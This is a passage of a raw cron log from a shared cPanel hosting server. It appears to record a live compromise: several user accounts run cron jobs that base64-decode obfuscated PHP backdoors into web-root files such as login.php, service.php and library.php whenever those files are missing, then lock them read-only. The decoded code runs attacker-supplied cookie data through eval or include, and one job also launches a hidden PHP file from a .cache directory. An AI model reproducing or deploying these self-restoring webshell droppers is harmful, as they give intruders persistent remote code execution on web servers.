3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:50:01 medusa CROND[3704]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:50:01 medusa CROND[3700]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 06:51:01 medusa CROND[27364]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:51:01 medusa CROND[27365]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:51:01 medusa CROND[27366]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:51:01 medusa CROND[27369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:51:01 medusa CROND[27370]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 06:51:01 medusa CROND[27372]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 06:51:01 medusa CROND[27375]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:51:01 medusa CROND[27376]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:51:01 medusa CROND[27377]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 06:51:01 medusa CROND[27381]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:51:01 medusa CROND[27382]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:51:01 medusa CROND[27387]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:51:01 medusa CROND[27388]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 06:51:01 medusa CROND[27378]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:51:01 medusa CROND[27391]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:52:01 medusa CROND[18912]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:52:01 medusa CROND[18913]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:52:01 medusa CROND[18914]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 06:52:01 medusa CROND[18916]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:52:01 medusa CROND[18917]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:52:01 medusa CROND[18918]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:52:01 medusa CROND[18919]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:52:01 medusa CROND[18921]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:52:01 medusa CROND[18922]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:52:01 medusa CROND[18915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:52:01 medusa CROND[18923]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:52:01 medusa CROND[18924]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:52:01 medusa CROND[18940]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:53:01 medusa CROND[4895]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbS